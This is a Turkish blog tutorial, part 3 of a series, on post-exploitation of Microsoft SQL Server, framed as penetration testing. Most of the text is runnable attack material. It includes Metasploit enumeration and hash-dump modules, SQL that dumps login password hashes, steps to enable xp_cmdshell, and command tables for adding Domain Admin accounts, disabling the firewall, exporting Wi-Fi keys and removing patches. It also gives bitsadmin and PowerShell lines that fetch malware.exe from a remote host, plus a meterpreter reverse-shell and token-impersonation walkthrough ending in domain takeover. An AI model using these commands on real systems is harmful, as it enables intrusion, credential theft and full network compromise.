• Kategori: Güvenlik
  • Eyüp ÇELİK
  • Gösterim: 1289

MS-SQL Hacking ve Post Exploitation Yöntemleri - Bölüm 3

3. MS-SQL Post Exploitation

Şimdiye kadar MS-SQL servis tespiti ve sızma konularına baktık. Bundan sonra şifresi elde edilen MS-SQL kullanıcı hesabı ile post Exploitation kısmına değineceğiz. Elde ettiğimiz verilerle diğer sistemlere sızmaya çalışacağız. Bu adımdaki amacımız “Domain Controller”ı ele geçirmek olacaktır. Ancak bu konuyu da birkaç başlık altında inceleyeceğiz.

3.a MS-SQL Enumeration

Bu adımda elde ettiğimiz şifre bilgilerini kullanarak diğer MS-SQL kullanıcılarının bilgilerini ele geçirmeye çalışacağız. Bunun için de birkaç aracı kullanacağız.

3.a.1 Metasploit ile MS-SQL Enumeration

Elde ettiğimiz şifreyi kullanarak MS-SQL sunucusuna erişerek, diğer kullanıcıların erişim bilgilerini elde etmeye çalışacağız. Bunun için “auxiliary/admin/mssql/mssql_enum” Auxiliary modülünü kullanacağız.

use auxiliary/admin/mssql/mssql_enum

set RHOSTS <IP Adresi>

set USERNAME <Kullanıcı Adı>

set PASSWORD <Şifre >

run

1 msf enum

mssql_enum modülü ile MS-SQL’de oturum açabilen kullanıcı hesapları, database dosyaları ve yetkili kullanıcı hesap adları gibi birçok bilgiyi elde edebiliriz.

2 msf enum users

3 msf enum db file

Modülün çıktısı yukarıdaki gibi olacaktır. Oturum açabilen kullanıcılar ve database dosyalarının bulunduğu dizinlerin bilgisini aldık.

3.a.2 C# ile MS-SQL Enumeration

Bu bölümde C# kullanarak MS-SQL Enumeration işlemlerini yapabiliriz. Bunun için “2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı” bölümünde yaptığımız uygulamayı geliştireceğiz. Uygulamamıza aşağıdaki gibi kontrolleri ekleyelim.

4 uygulama ekstra controller

Kullanıcı adını için txtKullanici, şifre için txtSifre, IP adresi için txtIPAdres, Enumeration için cmbEnumeration, ayrıca komutları kendimiz yazmak için txtKomut ve girdiğimiz verileri çalıştırmak için de btnCalistir adında kontrolleri ekliyoruz. cmbEnumeration adında ComboBox’ımıza “User Enumeration” adında bir Item ekliyoruz. Şimdi kodlamaya geçelim. “UserEnumeration” adında bir metod tanımlıyoruz.

5 csharp mssql enum user

Kodumuz yukarıdaki gibi olacak. İki ayrı sorgu çalıştırıyoruz. Birinci sorgu MS-SQL’deki tüm kullanıcıları, ikinci sorgu ise MS-SQL’deki yetkili kullanıcı isimlerini bize döndürecek.

6 csharp mssql enum user task

Kodumuzu yazdıktan sonra da btnCalistir’ın Click event’ına yukardaki gibi bir koşul ekliyoruz. Buna göre cmbEnumeration combobox’ından seçilen veri “User Enumeration” ise bir Task başlatıp, metodumuzu çalıştıracak.

7 csharp mssql enum user page

Programımızın çıktısı yukarıdaki gibi olacak. Artık kendi uygulamamız üzerinden bu işlemleri rahatlıkla yapabiliriz. Şimdi daha geniş bir Enumeration işlemi için birkaç kod paylaşacağım. Bu kodları da kullanarak uygulama için tanımlamalar yapabiliriz.

SQL Komutu Açıklama
select name from master..sysdatabases Tüm veritabanlarını gösterir
select name from master.sys.sql_logins where is_expiration_checked = 0 Parolasının süresi bitmeyen kullanıcıları gösterir

SELECT CAST(SYSOBJECTS.NAME AS CHAR) FROM SYSOBJECTS, SYSPROTECTS WHERE SYSPROTECTS.UID = 0 AND XTYPE IN('X','P')

AND SYSOBJECTS.ID = SYSPROTECTS.ID

Kullanılabilir prosedürleri gösterir
SELECT name, password_hash FROM master.sys.sql_logins Kullanıcıların hash’lerini dump eder

DECLARE @RegLoc VARCHAR(100)

select @RegLoc='SOFTWARE\Microsoft\Windows NT\CurrentVersion'

EXEC [master].[dbo].[xp_regread]    @rootkey='HKEY_LOCAL_MACHINE',

                                    @key=@RegLoc,

                                    @value_name='ProductName'

Registry kayıt okuma

Ben yukarıdaki tabloda oturum açan kullanıcıların hash’lerini dump edecek SQL kodunu yazdım. Ayrıca bu kodu uygulama içinde de tanımladım. Uygulama dışında Metasploit Framework ile de hash’lerin dump’ı alınabilmektedir. Bunun aşağıdaki gibi Metasploit modülünü çalıştırarak diğer kullanıcıların hash’lerini dump edebiliriz.

8 msf hashdump

Ayrıca geliştirdiğimiz uygulamadan da aldığımız hash dump aşağıdaki gibi olacaktır.

9 uygulama hash dump

3.b Command Execution ile Sisteme Sızma

Bu bölümde elde ettiğimiz şifreler ile MS-SQL sunucusunda komutlar çalıştırarak MS-SQL sunucusunu ele geçireceğiz. Daha sonra da “Domain Controller”ı ele geçirmeye çalışacağız. MS-SQL veritabanında “xp_cmdshell” üzerinden komut gönderebiliriz. Ancak varsayılanda “xp_cmdshell” stored procedure’u kapalı olarak gelmektedir. Eğer elde ettiğimiz kullanıcı hesabı, “sysadmin” hak ve yetkilerine sahipse bu stored procedure’ü aktif edebiliriz. Bunun için 2 yöntem kullanacağız.

3.b.1 Metasploit Command Execution ve Sızma

MS-SQL’de bulunan “auxiliary/admin/mssql/mssql_exec” Auxiliary modülünü kullanarak işletim sistemine komut göndereceğiz. Modülün kullanımı aşağıdaki gibidir.

Not: mssql_exec Auxiliary modülü, ilk çalıştırılma anında eğer “xp_cmdshell” store procedur’ü aktif değil ise aktif duruma almakta, ardından komutumuzu bu prosedüre üzerinden çalıştırmaktadır.

use auxiliary/admin/mssql/mssql_exec

set RHOSTS <IP Adresi>

set USERNAME <Kullanıcı Adı>

set PASSWORD <Şifre >

set CMD “Komut”

run

10 msf exec whoami

İlk olarak “whoami” komutu ile işletim sisteminin hangi kullanıcı hak ve yetkilerine sahip olduğuna bakabiliriz. Yukarıdaki ekran çıktısında MS-SQL servisinin “nt authority\system” hak ve yetkilerine sahip olduğu görülmektedir. Servis bir Windows işletim sistemindeki en yetkili hesap ile çalışıyor diyebiliriz.

3.b.2 C# ile Command Execution ve Sızma

Şimdi aynı işlemleri geliştirdiğimiz uygulama üzerinden yapalım. Bunun için uygulamamıza “CommandExecute” adında bir metod tanımlayalım. Ve metodumuz için yazacağımız kodlar da aşağıdaki gibi olacaktır.

11 uygulama command execute

Kodlarımızı yukarıdaki gibi yazdıktan sonra “Çalıştır” butonumuza da gerekli tanımlamaları yapmamız lazım.

12 uygulama command execute 2

Çalıştır butonumuzun else koşulunu da yukarıdaki gibi dolduruyoruz. Yani kullanıcı hazır komutlar yerine txtKomut’a girdiği komutlar MS-SQL üzerinde çalıştırılarak bize geri döndürülecektir. Programı ilk çalıştırdığımızda eğer “xp_cmdshell” aktif değilse aşağıdaki kod ile aktif duruma alabiliriz.

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

EXEC sp_configure 'show advanced options', 0;

RECONFIGURE;

13 uygulama command execute 3

Uygulamamızı başlatarak, yukarıdaki kodu Komut kısmına yapıştırıp komutumuzu çalıştıralım. Ardından “EXEC xp_cmdshell ‘whoami’;” komutu ile MS-SQL servis hesabının hak ve yetkilerini kontrol edebiliriz.

Uygulamamızın çıktısı yukarıdaki gibi olacaktır. Artık uygulamamızı rahatlıkla kullanabiliriz.

Dip Not: MS-SQL 2012, 2014 ve 2016 sürümleri varsayılanda “MS-SQL Servis Hesabı” ile kurulmaktadır. Eğer sistem yöneticisi bu hak ve yetkileri değiştirmediyse, servis hesabı yetkilerine sahip olacağız. Servis hesabı yetkileri ile yönetimsel komutlar çalıştırılamamaktadır. Ancak yukarıdaki örnekteki gibi eğer servis hesabı, sistem hak ve yetkilerine ya da yönetici hesaplarından birinin hak ve yetkileri ile kurulmuş ise yönetimsel komutlar gönderebiliriz.

Dip Not 2: Bundan sonraki kullanılacak komutları geliştirdiğimiz uygulama üzerinden sisteme göndereceğiz.

3.c.1 İşletim Sistemine Kullanıcı Hesabı Ekleme ve Yetkilendirme

Aşağıdaki tabloda yer alan komutlar ile yerel bir kullanıcı hesabı oluşturabilir ve oluşturduğumuz hesaba yönetici hak ve yetkileri tanımlayabiliriz.

İşlem Komut
Yerel Kullanıcı Ekleme EXEC xp_cmdshell'net user kullanıcıadı şifre /add';
Yetki Verme EXEC xp_cmdshell'net localgroup administrators kullanıcıadı /add';
Kullanıcı Silme EXEC xp_cmdshell'net user kullanıcıadı /del';
Mevcut Kullanıcının Hak ve Yetkilerini Öğrenme EXEC xp_cmdshell'net user kullanıcıadı';
Eğer elde ettiğimiz MS-SQL kullanıcı hesabı “Domain” kullanıcısı ve domain’de de yetkili bir hesap ise, aşağıdaki komutlar ile kullanıcıyı domain’e ekleyerek yetkilendirebiliriz.
Domain Kullanıcısı Ekleme EXEC xp_cmdshell'net user kullanıcıadı şifre /add /domain';
Domain Admin Yetkisi EXEC xp_cmdshell'net group "Domain Admins" kullanıcıadı /add /domain';
Domain Kullanıcısı Silme EXEC xp_cmdshell'net user kullanıcıadı /del /domain';
Mevcut Domain Kullanıcısının Hak ve Yetkilerini Öğrenme EXEC xp_cmdshell'net user kullanıcıadı /domain';
MS-SQL Kullanıcısı eklemek, hak ve yetki tanımlamak için de aşağıdaki komutlar kullanılabilir.
MS-SQL Kullanıcısı Ekleme ve “sysadmin” Yetkisi Verme

USE [master]

CREATE LOGIN eyup

WITH PASSWORD    = N'P@ssw0rd1'

EXEC sp_addsrvrolemember@loginame = N'eyup', @rolename = N'sysadmin';

Komutumuzun uygulama üzerinden çalıştırılması ve çıktısı aşağıdaki gibi olacaktır.

14 uygulama user add

3.c.2 Windows Servislerini Yönetme

İşlem Komut
Servisleri Listeleme EXEC xp_cmdshell'net start';
Servis Çalıştırma EXEC xp_cmdshell'net start "servis adı"';
Servis Durdurma EXEC xp_cmdshell'net stop "servis adı"';

3.c.3 İşlemleri Yönetme

İşlem Komut
Çalışan İşlemleri Listeleme EXEC xp_cmdshell'tasklist';
Çalışan İşlemleri ve Bağımlılıklarını Listeleme EXEC xp_cmdshell'tasklist /m';
Uzaktaki Bir Bilgisayarın İşlemlerini Listeleme EXEC xp_cmdshell'tasklist /s ip /v'; (Bu işlem için bir domain hesabı ile MS-SQL'in ele geçirilmiş olması gerekiyor. Bknz. Bölüm 2.a.1)
Bir İşlemi Kapatmaya Zorlama EXEC xp_cmdshell'tasklist /PID pid /F';
Yüklü Uygulamaları Listeleme EXEC xp_cmdshell'"wmic product get name"';
Yüklü Bir Uygulamayı Kaldırma EXEC xp_cmdshell'"wmic product where name=uygulamanınadı call uninstall /nointeractive"';

3.c.4 Dosya ve Dizinleri Yönetme

İşlem Komut
Bir Dizini Listeleme EXEC xp_cmdshell'dir C:\';
Klasör Oluşturma EXEC xp_cmdshell'md "Klasör adı ve dizini"';
Dizin Silme EXEC xp_cmdshell'rmdir /s /q "dizin"';
Dosya Kopyalama EXEC xp_cmdshell'copy "Kaynak Dosya Yolu" "Hedef Dizin"';
Tüm Dizinlerde “config” Dosyası Arama EXEC xp_cmdshell'dir /a /s /b C:\*.config';(Dizin çok büyükse "Execution Timeout"a düşme ihtimalimiz yüksektir)
Dosyalar içerisinde Şifre Arama EXEC xp_cmdshell'findstr /si password *.txt|.xml|*.config';
Bir Dosya Okuma EXEC xp_cmdshell'type "Dosyanın Yolu"';

3.c.5 Ağı Yönetme

İşlem Komut
Bağlantı Bilgilerini Listeleme EXEC xp_cmdshell'ipconfig /all';
DNS Cache’ini Listeleme EXEC xp_cmdshell'ipconfig /displaydns';
Bağlantıları Listeleme EXEC xp_cmdshell'netstat -ano';
Etkin Bağlantılar EXEC xp_cmdshell'netstat -an| findstr ESTABLISHED';
Routing Tablosu EXEC xp_cmdshell'route print';
ARP Cache’ini Listeleme EXEC xp_cmdshell'arp -a';
Bağlanılan Kablosuz Ağları Listeleme EXEC xp_cmdshell'netsh wlan show profiles';
Windows Güvenlik Duvarını Kapatma EXEC xp_cmdshell'netsh Advfirewall set allprofiles state off';
Bağlanılan Kablosuz Ağ Şifrelerini Export Etme EXEC xp_cmdshell'netsh wlan export profile name="Kablosuz Ağ Adı" folder="dizin" key=clear';
Ağ Kartlarını Listeleme EXEC xp_cmdshell'netsh interface ip show interfaces';
Uzak Masaüstü’nü Aktif Etme EXEC xp_cmdshell'reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f';

3.c.6 Windows Yamalarını Yönetme

İşlem Komut
Yüklü Yamaları Listeleme EXEC xp_cmdshell'"wmic qfe get Hotfixid"';
Yüklü Bir Yamayı Kaldırma EXEC xp_cmdshell'"wusa /uninstall /kb:id"';

3.d MS-SQL Dosya İndirme ve Zararlı Kod Çalıştırma

Bu bölümde MS-SQL’e dosya indirme ve zararlı kod çalıştırma konularına değineceğiz. Windows işletim sistemlerinde en büyük problemlerden biri dosya indirme sorunudur. Çünkü *nix işletim sistemlerinde wget ya da benzeri bir araç ile rahatlıkla sunucuya dosya indirebilirsiniz. Ancak Windows işletim sistemlerinde bu biraz zor.

3.d.1 Windows’a Dosya İndirme

Windows işletim sistemine dosya indirmek için iki temel araç kullanabiliriz. 1. “BITS (Background Intelligent Transfer Service) Servisi” 2. Powershell.

BITS servisini kullanarak işletim sistemine dosya indirebilmek için öncelikle BITS servisini çalışır duruma getirmemiz lazım. Bunun için “EXEC xp_cmdshell '"net start BITS"';” komutunu kullanıyoruz. Hemen ardından dosya indireceğimiz komutu giriyoruz.

EXEC xp_cmdshell '"bitsadmin /transfer WarSQLiJob /download /priority normal http://eyupcelik.com.tr/malware.exe C:\dizin\malware.exe"';

Yukarıda bulunan komut ile bir web sayfasında bulunan dosyayı MS-SQL sunucusuna indirebiliriz.

15 uygulama file download

Programımız üzerinden dosya indirme komutunu verdik ve 7zip uygulamasını masaüstüne kaydettik.

DECLARE @cmd      NVARCHAR(250);

DECLARE @URL      NVARCHAR(100);

DECLARE @file     NVARCHAR(100);

SET @URL ='http://eyupcelik.com.tr/malware.exe'

SET @file='C:\dizin\malware2.exe'

SET @cmd ='powershell "(new-object System.Net.WebClient).DownloadFile('''+@URL+''','''+@file+''')"'

EXEC master.dbo.xp_cmdshell@cmd

Powershell üzerinden de ayrıca dosya indirebiliriz. Dosya indirebilmek için yukarıda yazılı olan kodu kullanabiliriz. Kod içerisinde belirtilen URL adresinden dosyayı belirtmiş olduğumuz dizine indirecektir.

3.d.2 Windows’a Zararlı Dosya İndirme ve Ters Bağlantı Alma

Bir sızma testinde sadece MS-SQL veritabanını ele geçirmek yeterli olmayacaktır. Aynı zamanda sunucuyu ele geçirmek ve sunucuda oturum açan diğer kullanıcı hesaplarını da ele geçirmek gerekiyor. Böylece oturum açan kullanıcı hesaplarını elde ederek, başka sunucu ya da sistemleri ele geçirebiliriz. Bu dokümanda yapacağımız işlem ise MS-SQL sunucusuna “meterpreter” zararlısı indirerek, sunucudan ters bağlantı almak ve ardından domain controller’a erişmek olacaktır.

MSFVenom aracı ile zararlı yazılım oluşturmak ve detayları için http://eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-a-bakis-ve-msfvenom-ile-backdoor-olusturma bu yazımı da okumanızı tavsiye ederim.

16 msfvenom malware 1

MSFVenom ile meterpreter zararlısı oluşturarak /root/Desktop/db.exe dizinine kaydettik. Dosyayı /var/www/html dizinine taşıyalım ve ardından erişim yetkisi verelim.

17 msfvenom malware 2

Dosyayı taşıyıp yetkiyi verdikten sonra, Apache servisini “service apache2 start” komutu ile başlatalım. Ardından “msfconsole” komutu ile Metasploit Framework’e erişelim.

18 msfvenom malware 3

Bir handler başlattık ve reverse_tcp pyload’unu set ettik. Ardından bir job olarak başlattık. Şimdi MS-SQL sunucusuna erişip, Kali Linux makinamızdaki db.exe dosyasını veritabanı sunucumuza indirelim ve çalıştırarak backconnect alalım.

19 msfvenom malware 4

Dosyayı MS-SQL sunucusuna indirdik. Geriye bir tek çalıştırmak kalıyor.

20 msfvenom malware 5

MS-SQL sunucusuna indirdiğimiz db.exe dosyasını “EXEC xp_cmdshell'"cmd /c C:\db\Desktop\db.exe"';” komutu ile çalıştırdık.

21 msfvenom malware 6

Metasploit’e bağlantı geldi. Session’a eriştik. “SYSTEM” hak ve yetkilerine sahibiz. Metasploit “incognito” modülü ile sunucuda oturum açan diğer kullanıcı hesaplarına geçiş yapacağız.

22 msfvenom malware 7

load incognio” komutu ile “incognito” modülü yükledik. “list_token -u” komutu ile hesabına geçiş yapacağımız kullanıcıları listeledik. “SECURITYLABS\db” kullanıcısının oturumu olduğunu keşfettik. “impersonate_token SECURITYLABS\\db” komutu ile db kullanışının hak ve yetkilerine geçiş yaptık.

23 msfvenom malware 8

shell” komutu ile Windows komut arabirimine düştük. “net user db /domain” komutu ile db kullanıcısının hak ve yetkilerini kontrol ettik. db kullanıcısı “Domain Admins” grubundaymış. Artık bu kullanıcı hak ve yetkileri ile domain’de istediğimiz komutu çalıştırabiliriz.

24 msfvenom malware 9

Domain’e “eyupcelik” adında bir kullanıcı ekledik ve eklediğimiz kullanıcıyı “Domain Admins” grubuna dahil ettik.

3.d.3 Meterpreter ile Ters Bağlantı Alma

Bu bölümde Metasploit Framework içerisinde yer alan “exploit/windows/mssql/mssql_payload” modülü ile ters bağlantı alma konusuna değineceğiz. Önceki konularda yaptığımızın aksine tüm bu işlemleri Metasploit ile otomatize hale getirebiliriz.

25 mssql payload

Yukarıdaki örnekte görüleceği üzere kullanacağımız modülü seçtik. Bu modül ile birlikte kullanmak üzere PAYLOAD’umuzu set ettik. Ardından elde ettiğimiz şifre bilgisini ve meterpreter’ın geri döneceği IP adresimiz ile portumuzu belirledik. Bu exploiti çalıştırdığımızda artık hedefteki MS-SQL sunucusuna meterpreter zararlımızı göndererek çalıştırabiliriz. Bu işlem için “exploit -j” komutunu kullabiliriz. Hedefe meterpreter ajanımız gönderildikten sonra bir önceki bölümde yer alan tüm işlemleri gerçekleştirebiliriz.

Comments

0 Mustafa 03-02-2017 22:26 #1
Tebrik ediyorum hocam harika bir yazı çıkarmışsınız yine. Yalnız yazılarınız çok geç çıkıyor rica etsem en azından haftada bir yazsanız, Başarılar :-) 8)
Quote

Yorum ekle


Güvenlik kodu Yenile

Bookmaker betfair Bonus review by ArtBetting.co.uk

Bookmaker bet365 review by ArtBetting.co.uk

Germany bookmaker b.artbetting.de review by ArtBetting.de

Bookmaker Greece BET365 review by ArtBetting.gr

Back to top